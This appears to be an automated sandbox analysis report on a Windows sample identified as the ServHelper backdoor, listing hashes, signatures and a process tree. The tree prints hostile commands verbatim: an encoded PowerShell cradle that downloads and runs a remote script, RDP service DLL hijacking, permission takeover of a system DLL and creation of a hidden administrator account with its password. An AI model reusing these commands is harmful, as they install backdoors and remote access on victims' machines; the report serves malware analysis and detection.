Analysis
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max time kernel
128s -
max time network
100s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
23-09-2021 11:03
Static task
static1
Behavioral task
behavioral1
Sample
f71c575754e1f5890ad8b35afd08b8be.exe
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
f71c575754e1f5890ad8b35afd08b8be.exe
Resource
win10-en-20210920
General
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Target
f71c575754e1f5890ad8b35afd08b8be.exe
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Size
5.9MB
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MD5
f71c575754e1f5890ad8b35afd08b8be
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SHA1
69803b96f3820fabd81c79d422a1fa2a72ccb699
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SHA256
046f08e500cc9156c4af47a73744ccb060606c77d7a8beb5677aa6ff4d256211
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SHA512
32f7fab593c46efe2586825aff79688e4a688735bf950b351fe3bdffc4a9dff01da0b2d4a92acf4d4bd14aac362884bd264beced9e8b82fd3111e8ef8ef31301
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 1084 powershell.exe 8 1084 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1160 icacls.exe 1280 icacls.exe 1652 icacls.exe 1064 icacls.exe 640 takeown.exe 1812 icacls.exe 1488 icacls.exe 432 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000a000000012210-127.dat upx behavioral1/files/0x0009000000012213-128.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1324 Process not Found 1324 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 432 icacls.exe 1160 icacls.exe 1280 icacls.exe 1652 icacls.exe 1064 icacls.exe 640 takeown.exe 1812 icacls.exe 1488 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BCGXO9EBTRA5QBWLY0QJ.temp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0fa21ba6ab0d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1204 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 576 powershell.exe 1216 powershell.exe 676 powershell.exe 1848 powershell.exe 576 powershell.exe 576 powershell.exe 576 powershell.exe 1084 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 464 Process not Found 1324 Process not Found 1324 Process not Found 1324 Process not Found 1324 Process not Found -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 1544 f71c575754e1f5890ad8b35afd08b8be.exe Token: SeDebugPrivilege 576 powershell.exe Token: SeDebugPrivilege 1216 powershell.exe Token: SeDebugPrivilege 676 powershell.exe Token: SeDebugPrivilege 1848 powershell.exe Token: SeRestorePrivilege 1488 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1840 WMIC.exe Token: SeIncreaseQuotaPrivilege 1840 WMIC.exe Token: SeAuditPrivilege 1840 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1840 WMIC.exe Token: SeIncreaseQuotaPrivilege 1840 WMIC.exe Token: SeAuditPrivilege 1840 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1868 WMIC.exe Token: SeIncreaseQuotaPrivilege 1868 WMIC.exe Token: SeAuditPrivilege 1868 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1868 WMIC.exe Token: SeIncreaseQuotaPrivilege 1868 WMIC.exe Token: SeAuditPrivilege 1868 WMIC.exe Token: SeDebugPrivilege 1084 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1544 wrote to memory of 576 1544 f71c575754e1f5890ad8b35afd08b8be.exe 28 PID 1544 wrote to memory of 576 1544 f71c575754e1f5890ad8b35afd08b8be.exe 28 PID 1544 wrote to memory of 576 1544 f71c575754e1f5890ad8b35afd08b8be.exe 28 PID 576 wrote to memory of 1496 576 powershell.exe 30 PID 576 wrote to memory of 1496 576 powershell.exe 30 PID 576 wrote to memory of 1496 576 powershell.exe 30 PID 1496 wrote to memory of 1236 1496 csc.exe 31 PID 1496 wrote to memory of 1236 1496 csc.exe 31 PID 1496 wrote to memory of 1236 1496 csc.exe 31 PID 576 wrote to memory of 1216 576 powershell.exe 32 PID 576 wrote to memory of 1216 576 powershell.exe 32 PID 576 wrote to memory of 1216 576 powershell.exe 32 PID 576 wrote to memory of 676 576 powershell.exe 34 PID 576 wrote to memory of 676 576 powershell.exe 34 PID 576 wrote to memory of 676 576 powershell.exe 34 PID 576 wrote to memory of 1848 576 powershell.exe 36 PID 576 wrote to memory of 1848 576 powershell.exe 36 PID 576 wrote to memory of 1848 576 powershell.exe 36 PID 576 wrote to memory of 640 576 powershell.exe 38 PID 576 wrote to memory of 640 576 powershell.exe 38 PID 576 wrote to memory of 640 576 powershell.exe 38 PID 576 wrote to memory of 1812 576 powershell.exe 39 PID 576 wrote to memory of 1812 576 powershell.exe 39 PID 576 wrote to memory of 1812 576 powershell.exe 39 PID 576 wrote to memory of 1488 576 powershell.exe 40 PID 576 wrote to memory of 1488 576 powershell.exe 40 PID 576 wrote to memory of 1488 576 powershell.exe 40 PID 576 wrote to memory of 432 576 powershell.exe 41 PID 576 wrote to memory of 432 576 powershell.exe 41 PID 576 wrote to memory of 432 576 powershell.exe 41 PID 576 wrote to memory of 1160 576 powershell.exe 42 PID 576 wrote to memory of 1160 576 powershell.exe 42 PID 576 wrote to memory of 1160 576 powershell.exe 42 PID 576 wrote to memory of 1280 576 powershell.exe 43 PID 576 wrote to memory of 1280 576 powershell.exe 43 PID 576 wrote to memory of 1280 576 powershell.exe 43 PID 576 wrote to memory of 1652 576 powershell.exe 44 PID 576 wrote to memory of 1652 576 powershell.exe 44 PID 576 wrote to memory of 1652 576 powershell.exe 44 PID 576 wrote to memory of 1064 576 powershell.exe 45 PID 576 wrote to memory of 1064 576 powershell.exe 45 PID 576 wrote to memory of 1064 576 powershell.exe 45 PID 576 wrote to memory of 1564 576 powershell.exe 46 PID 576 wrote to memory of 1564 576 powershell.exe 46 PID 576 wrote to memory of 1564 576 powershell.exe 46 PID 576 wrote to memory of 1204 576 powershell.exe 47 PID 576 wrote to memory of 1204 576 powershell.exe 47 PID 576 wrote to memory of 1204 576 powershell.exe 47 PID 576 wrote to memory of 1840 576 powershell.exe 48 PID 576 wrote to memory of 1840 576 powershell.exe 48 PID 576 wrote to memory of 1840 576 powershell.exe 48 PID 576 wrote to memory of 1868 576 powershell.exe 49 PID 576 wrote to memory of 1868 576 powershell.exe 49 PID 576 wrote to memory of 1868 576 powershell.exe 49 PID 1868 wrote to memory of 1932 1868 net.exe 50 PID 1868 wrote to memory of 1932 1868 net.exe 50 PID 1868 wrote to memory of 1932 1868 net.exe 50 PID 576 wrote to memory of 1084 576 powershell.exe 51 PID 576 wrote to memory of 1084 576 powershell.exe 51 PID 576 wrote to memory of 1084 576 powershell.exe 51 PID 1084 wrote to memory of 472 1084 cmd.exe 52 PID 1084 wrote to memory of 472 1084 cmd.exe 52 PID 1084 wrote to memory of 472 1084 cmd.exe 52 PID 472 wrote to memory of 672 472 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe"C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:576 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iyr5cs6d.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC2D2.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC2D1.tmp"4⤵PID:1236
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1216
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:676
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1848
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:640
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1812
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1488
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:432
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1160
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1280
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1652
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1064
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1564
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1204
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1840
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1932
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:472 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:672
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1880
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1860
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:316
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C:\Windows\system32\net.exenet start TermService5⤵PID:916
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:968
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1564
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1872
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵PID:1496
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C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵PID:536
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:936
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc QNv2lMZc /add1⤵PID:1944
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C:\Windows\system32\net.exenet.exe user wgautilacc QNv2lMZc /add2⤵PID:1160
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc QNv2lMZc /add3⤵PID:1664
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵PID:1652
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵PID:1564
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:1204
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD1⤵PID:1592
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD2⤵PID:984
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD3⤵PID:1736
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵PID:1080
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:1932
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:1600
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc QNv2lMZc1⤵PID:1796
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C:\Windows\system32\net.exenet.exe user wgautilacc QNv2lMZc2⤵PID:432
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc QNv2lMZc3⤵PID:1092
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1680
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1840
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:472
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1868
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:536
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084
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